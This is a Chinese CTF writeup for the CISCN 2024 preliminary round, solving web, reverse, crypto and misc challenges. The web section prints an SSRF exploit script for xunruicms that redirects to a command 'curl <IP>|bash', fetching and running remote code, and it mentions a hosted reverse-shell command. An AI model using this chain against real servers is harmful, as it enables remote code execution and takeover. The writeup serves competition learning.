第十七届全国大学生信息安全竞赛 初赛 Writeup by X2cT34m
文章目录
Web
easycms_revenge
很悲伤的是,昨天的easycms没做出来,今天终于发现弄错版本了,新版的xunruicms早就把漏洞修了。
在gitee上找到有ssrf漏洞的源代码。
根据讯睿官方给的漏洞汇报
查看qrcode的代码,找到一个可控的参数thumb
通过代码审计,得知需要让thumb指向的链接,第一次正常回一个图片,第二次再返回302要求跳转。
<?php
$i = "./6.png";
if (file_exists("./aaa")) {
header("Content-Type: " . mime_content_type($i));
readfile($i);
unlink("./aaa");
} else {
file_put_contents("./aaa", "aa");
file_put_contents("./bbb", "bb");
header("Location: http://127.0.0.1/flag.php?cmd=curl 8.130.84.100|bash", true, 302);
}
初始确保有aaa这个文件,第一次进if分支。
访问http://eci-2ze3s1k73olbw5gttjm2.cloudeci1.ichunqiu.com/?s=api&c=api&m=qrcode&text=1&thumb=http://8.130.84.100/1.php
利用漏洞
攻击机/var/www/html目录结构:
1.php 6.png aaa index.html
index.html中是反弹shell命令
Pwn
Reverse
asm_re
题目给的是文本形式的arm汇编。按照跳转指令把控制流梳理一遍,发现loc_100003C64
-> loc_100003C7C
->loc_100003cc0
形成for循环,在loc_100003C7C
看到EOR异或,直接猜是加密函数。整体的加密算法是((W8*0x50+0x14)^0x4D)+0x1E
。
程序后面还有一段循环,代码和上述几乎完全一样。不确定是否有二次加密,用"flag"
四个字符带入验证一下,刚好和数据对应上。最后写脚本解出flag。
def decrypt(data):
return (((data-0x1E)^0x4D)-0x14)//0x50
Data=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,
0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,
0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,
0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,
0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,
0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]
flag=[]
for i in Data:
flag.append(chr(decrypt(i)))
print(''.join(flag))
Crypto
古典密码
Atbash->base64->fence
OvO
题目
from Crypto.Util.number import *
from secret import flag
nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
phi = (p-1) * (q-1)
while True:
kk = getPrime(128)
rr = kk + 2
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
if gcd(e, phi) == 1:
break
m = bytes_to_long(flag)
c = pow(m, e, n)
e = e >> 200 << 200
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
"""
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
"""
e=65537+kkp+(kk+2)((p+1)*(q+1))+1
e=65537+(k+2)n+2(k+1)p+(k+2)q+k+3
k=e//n-2
两边乘p
ep=65537p+(k+2)np+2(k+1)p²+(k+2)n+(k+3)p
由此可以解出p,相当于将e的高位泄露问题转化为了p的高位泄露问题,从而用coppersmith求解
exp:
from Crypto.Util.number import *
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
k=e//n-2
tmp=65537+(k+2)*n+(k+2)+1
R.<x> = PolynomialRing(RealField(1024))
f=e*x-(2*(k+1)*x^2+(k+2)*n+tmp*x)
res=f.roots()
for root in res:
p_high=int(root[0])
PR.<x>=PolynomialRing(Zmod(n))
f1=x+p_high
roots=f1.monic().small_roots(X=2^200,beta=0.4)
if roots:
p=int(roots[0]+p_high)
q=n//p
e=65537+k*p+(k+2)*((p+1)*(q+1))+1
d=inverse(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(int(m)))
Misc
火锅链观光打卡
访问题目给出的网址,直接连接钱包,又看到下面的获取提示,想着先获取一下再做题
直接做题,多回答几道问题凑齐七种食材就能拿到flag
神秘文件
总共十个part,集齐即可召唤flag
part1
查看ppt的属性,密文、key和hint都在里面了,用cyberchef解密即可
part2
在第二张PPT的左上角有一个被缩得很小的文本框,放大看是一段话
在这句话的字中间又有一些被缩的很小的字,将它们放大,密文那部分文字还得加上颜色,根据这句话的提示进行凯撒密码解密,得到第二部分
part3
安全警告告诉我们宏里面有东西
用olevba提取一下宏代码,是一段RC4加密,给出了base64加密后的密文
part4
第三张PPT,很明显
part5
第五张PPT的注释
part6
在第五张PPT的画面外
part7
查看PPT的xml文件,在ppt/slides/slidew.xml中找到第七部分hint,先rot13再base64
part8
在ppt/slideLayouts/slideLayout2.xml中找到第八部分和hint,先删去四个字母再base64
part9
对这个PPT进行foremost,分离出的一张图片左下角有base64编码
part10
第四张PPT里有一些批注,维吉尼亚密码
将十个部分合起来得到完整的flag
flag{e675efb3-346f-405f-90dd-222b387edee9}
Power_Trajectory_Diagram
调用numpy库读取npz文件内容,先大概看看有什么东西
import numpy
data = numpy.load("attachment.npz")
print (data.files) #['index', 'input', 'output', 'trace']
可以看到有四个npy文件,再分别看看大概有什么内容
import numpy
data = numpy.load("attachment.npz")
#['index', 'input', 'output', 'trace']
with open("index","w") as f:
f.write(str(data["index"]))
with open("input","w") as f:
f.write(str(data["input"]))
with open("output","w") as f:
f.write(str(data["output"]))
with open("trace","w") as f:
f.write(str(data["trace"]))
index中有重复内容,40个相同数字一组,从0到12,共520个数字
input中有循环内容,40个一组,共520个,包含小写字母a-z,数字0-9以及符号_ ! @ #
到这里大概可以感觉到有意引导40个一组的思想,input应该是个字典
output中没内容
trace中则是大量的数据,可能是功耗值,如果用winhex打开npz解压得到的trace.npy文件,可以很清晰地看到对应数据行列长度:
520×5000,其中520恰好与之前的index和input数据个数一样
于是可以按照40行一分组,若每1行是一部分,则正好对应40个字符,结合index索引的意思,可能是通过某种比较,得到一个排列顺序,获取一个特别的index,再根据input获取对应密码值
经过一些尝试,最后发现排列的依据可能是先对每行5000个数据的绝对值求和,再在40行中进行比较,最大值对应的index即为所需
import numpy as np
import matplotlib.pyplot as plt
data = np.load("attachment.npz")
trace = data['trace']
input = data['input']
for i in range(13):
number_list = []
for j in range(40):
total = 0
for k in range(5000):
total += abs(trace[j + i * 40][k])
number_list.append(total)
"""
time = range(len(number_list))
plt.plot(time,number_list)
plt.show() 可以通过画图检验想法
"""
print(input[number_list.index(max(number_list))],end='')
结果为_ciscn_2034_t
,结合flag格式,且今年是2024,对结果偏差的内容进行更改,经过一些尝试,最终得到密码:_ciscn_2024_
,flag为:flag{_ciscn_2024_}
Tough_DNS
下载附件得到流量包 Tough_DNS.pcapng
wireshark打开流量包,全是DNS协议的流量
一开始的流量包含一些01,可能是二进制转字符或二维码,结合每一段流量都有21位数字,共21段流量,判断为最小尺寸的二维码,将01提取出来转为二维码
tshark -r Tough_DNS.pcapng -T fields -Y "dns.flags.response == 1" -e dns.qry.name > response.txt
再用VScode对response.txt进行批量的文本操作,最终只剩一段01串
111111101100101111111100000100100101000001101110101010101011101101110101001001011101101110101110001011101100000100000001000001111111101010101111111000000000110000000000111100101010010011101010010000010110111111011001111000101100001001110000110100001000000101111001001100000000000001111001110010111111100100011010110100000100011010000100101110100001000010110101110101110110100110101110101011110101100100000101110001111001111111101111001111100
from PIL import Image
qrcode = Image.new("RGB",(21,21),(255,255,255))
bin ="111111101100101111111100000100100101000001101110101010101011101101110101001001011101101110101110001011101100000100000001000001111111101010101111111000000000110000000000111100101010010011101010010000010110111111011001111000101100001001110000110100001000000101111001001100000000000001111001110010111111100100011010110100000100011010000100101110100001000010110101110101110110100110101110101011110101100100000101110001111001111111101111001111100"
for i in range(21):
for j in range(21):
if bin[i * 21 + j] == "1":
qrcode.putpixel((i, j),(0,0,0))
qrcode.save("QRcode.png")
扫二维码拿到一段东西:15f9792dba5c 不知道有什么用先放着
接着往下看流量,后面紧跟两条流量的 Transaction ID 一个为0x4500,一个为0x6421再往下看几条,应该是有东西在TXT数据中,直接导出DNS的TXT数据
tshark -r Tough_DNS.pcapng -T fields -Y "dns.id == 0x4500" -e dns.txt > 1.txt
开头有一些0,但是后面就是正常的zip头 504b0304,判断为压缩包,不过要手动删去一些0
预先处理一下数据,再转为zip文件
with open("1.txt","r+") as f:
zip = f.read()
zip = zip.replace("\n","")
print (zip)
504b030414000900630076a3bd560493abdf29060000e90700000a000b007365637265742e67706701990700010041450308005fc5ce8f6578949af7e2bc5c754d0d451fe07b6910c3c94d7376e7cd44677a589b532468cf9ee546ccb1d754ceae0900cbff4bb94a3359ae7ef87eadfa203be4d76c02fa37323fed4266fe714207dee13bb1fb266945e5424c4f7cd5f2d673785c39088cb5b869e1651865f1e6fda64244f52a923a18e4ca13d665151e26680d9dece770cca7699774b820353a64f65fad688924ca1c85057915c14ec0783980bb9b67771b60752865b33e6becf6b5944d0e3b3123c3094f19a2129a0d83dca34a39f9fea5088fba55adb95dc6621c933226c26f30cf03bb1a39a3cf7fa042b5b13c6dea0c18203bed3c7e8e316f51da6b82a4b042eff986da231c357a92cad2b17b43fbc93e464efc043a42270c5ee7b49895ed35e4e0308dea17cf3ace051576d25e6b4b02a5cdea1ef5156a4f845e1ac97961cb2af5b4ea5e3e6748c7f6c515e48c35cef6761fefc51dcfaefc60f59e1c9cdfe7a49d7b3ccd6f2200e5593e4423a1c686b8b72d220feb13893898a18cf4e56fff2a0e304030fe4bac837705ff7ff87e3e780061a858523ccc16ed66d5fecf7a52821279847aafa9b45e3de1506d00fc28dc50e7da22b4b4212eb18c0cf6701eaefb1357957bebc8dd58d47bad09a71bd6041e223320aadc937449eaecea8d7a7eabdbdf30c11736c6af58871139b963bf93fa9a28cecfb21542044a50e4a374f6169fd60e1f555971aa7693da4cd91b8f0779b83716434f53ba455ebbcda30129a6b1a057b6d1b5faa6b83daafa047a3a1c464fa3ec1484d59d7cd02059c5b21c3785ddbedd3af21979a64800e7953d253342e53ced8b69d61628b74acf9103a0eb6a9c04421b2aff50716d8dca48503aeb28f0566c77b5c7302063ced344dffeeaa2e8b173b3a05af035af2e2450f49ceac9daf47dc379a665982778b5ab2a2ce8193e01bc6375c3ca0b9caf0d8eee7f6ce918087090dac944bce2a661249e9f2e3fdcd7a061f4ace0d2d5629462feacc1568d37f53972a47519a63cc7c6c75fe1579b0d9d7252ed0d29feb7f43c0411988b4b8165d69cb5dce776364a184cf4378fa35f44eff537d0f1aa9a3477fb04a53bbad3785ab70c2bd0efabf7c6245f95d31d044cbad91cc3c3b15a77301d58ae3225a0deed39dbe62a5ca2fcda4e8fd4e4ae57682932b0457d2833f541ab3983509401c7182103f5cbc59a50c7cc02d48b7ecd7b37c41194356d8b746ee36a9efb47c1fb1e6f8d5fa2b51a13d24d10e1a75577e06ae4f62b018fd153c8b1c22a03dfac127e00ed3c4dbd5d3116b40cabbb792ce71a2da9f3ff143665f2a23171f0a1f2d03b725f14c5c756412a4b3c863818eebc9c0f87bcf36d462dfd15f7ff41597f31b2bc856c80e5f2069031faa3a1333f2210865889ea391be8818cb1fb1f7c8813dc5be4a6ffc40aaf2487943bc4b235e84b75c4594ac2afd27a2e08c3b17853eb21971715a6e708f31841c80601407b7eb8d838c30e968960373ca2c5b447af4363ad84d193c169f09f1eb2e2d3519dfa87de644ad21b2e44a13efcea2da56e7fee791c2fb373678e7d99ca7ad020218f53d71304d9be6d154ff4586ad9ba3a0242b06253396abf21494f976772dbf0c69ece64d66fa044e1cb6d97bd57f40dd4d4221a12a0b3f5e3e8356a466d0134fafa73c4dd57756a31797ca2bcb1bdc7805e1f34ce9fe20b6b796e8545e3bda8f706f72dba0337ac2e9dbe045e8416703a7c91c1fa95e5e6e31888343f11267a4604131fc4675222fde4de76ff3189fce07d3416294435ac127f3cf8805804b5a9387369951bbcfb548c169ad7e3fae06c4caeb8e1fb4f629d07139fbb7db319a7d4783b3e6b0c4b8ac185efb8de7e6fa4fc11e12702631889016d09b42577dbc22fb76475db1af896e9606cd4006a3241c3755c9f7d3c7fadad5d9b74ffa27d744dba782d512bfec40175d9a9ac511cb087ab11be5485722da48ab99fdb3351cb738609b5d0662af4d388de2493c49b3a5d8f45982627d02906436c66fec96bfa58144d6165bd151358a148dc8c08eba2d2154775f0cf38e1255ddf6533110981fcb746adfe522545f2fa9b69af5e71f14c49059a89ad3a6491be25a3454624bc77be8446176299488f54fe601ad012b5a5e067498cbe22f8eb8c1fa6bd6d42b5e55717bb5951ad9f5298b3ecf4728f2180e59084863c5f8292811b14052f503de89b04d664a322055cd4e391624541504b07080493abdf29060000e9070000504b01021f0014000900630076a3bd560493abdf29060000e90700000a002f0000000000000020000000000000007365637265742e6770670a00200000000000010018009e2030f82892d901daab68732992d901789868732992d9010199070001004145030800504b05060000000001000100670000006c0600000000
导出打开,需要密码,直接用之前二维码扫出来的字符串,得到secret.gpg,看内容判断为私钥
大概是要解gpg加密文件,如果是这样的话,还需要密码和gpg加密文件
先看看另外一段流量里是什么
tshark -r Tough_DNS.pcapng -T fields -Y "dns.id == 0x6421" -e dns.txt > 2.txt
大概率是gpg加密文件,同样手动删0,再简单处理一下
with open("2.txt","r+") as f:
gpg = f.read()
gpg = gpg.replace("\n","")
print (gpg)
848c0351457644d5d8b1b50103ff44bbc02a1ffa986f2ce46efeabf7f87ae77bd0ee7d9bb2be791a91ddfee1380ddb8fe6ae3961ce19275b34e0645a53b51fed6a17e6b462d107d0609542d51382a1dc906ac68651c5d3209bf115b578512f5465a613ffccfa16695058eaea45bf67a736ed64d19acdbdb84873c8f107d25a2a77c160a5c76562b220c218eeae12d26b015818007465957c06464f514c743413132b1a418c3cb9955c1052cf67cd29ec451ee0352bf521ff800a37888d1a3aff2f5202625bf085f18e2978002b096f0c34cd999f70be8968b0f5ac2f2b892c4a95000a09ea4bf189b58d08b44b5822f5134b4c5ffde7314beada51
最后就是要找密码了,想到题目描述里的内容,处理一下之后应该就是密码
尝试直接hex转字符串,发现有乱码内容,经过一些尝试,发现需要先逆置一下,再hex转字符串
得到e9b0-ea5f9bae
,但是还是不对,想到再逆置一下,得到正确密码eab9f5ae-0b9e
最后解一下gpg加密文件即可得到flag
$ gpg --import secret.gpg
gpg: key CD34F6C587E55290: "ctfer (none) <ctfer@gmail.com>" not changed
gpg: key CD34F6C587E55290: secret key imported
gpg: Total number processed: 1
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
$ gpg --decrypt flag.gpg
gpg: encrypted with 1024-bit RSA key, ID 51457644D5D8B1B5, created 2023-05-29
"ctfer (none) <ctfer@gmail.com>"
flag{79830a47-faf7-4067-b585-145776f833cd}
大学生安全测试能力调研问卷
flag{海纳百川,有容乃大。}
通风机
拿到文件,试试binwalk分离一下文件
binwalk -e 1通风机监控.mwp
得到文件 35 和 35.zlib,记事本打开35,往下翻翻看到一个base64字符串,解一下就是flag
盗版软件
下载附件拿到 3842.dmp 和 hackexe.exe
根据题目描述,一个是内存里的浏览器进程文件,一个是盗版软件
dmp一开始不知道怎么处理,先对 hackexe.exe 分析,直接放入微步云沙箱看看
分析结果说是释放了两个文件,下载下来看看,一个loader.exe先放着,先看output.png
经过一些尝试,发现PNG图片R通道按MSB读取,可以看到zip头,不过间隔了一字节
把这个zip给提取出来
from PIL import Image
image = Image.open('output.png')
image = image.convert('RGB')
pixels = image.load()
height,width = image.size
dec_list = []
t = 0
for y in range(height):
for x in range(width):
R,G,B = pixels[x,y]
if t % 2 == 0:
dec_list.append(R)
t = t + 1
hex_string = ''.join([hex(num)[2:].zfill(2) for num in dec_list])
with open("zip.txt","w") as f:
f.write(hex_string) #要去头7b020000
打开压缩包看看,里面一个.b文件,base85解一下,取字节得到shellcode
再把shellcode放入微步云沙箱分析,选 Win7 64bit ,直接拿到了ip:39.100.72.235
接下来就是找域名,想到之前的dmp文件,直接筛选.com/,发现baidu和microsoft很多,再筛一次
strings 3842.dmp | grep -vE "baidu|microsoft" | grep -E ".com/"
最后几行基本都是 winhack.com,和软件名挺像的,大概率就是这个域名了
按照题目描述算md5值得到flag:flag{096e8b0f9daf10869f013c1b7efda3fd}
最新评论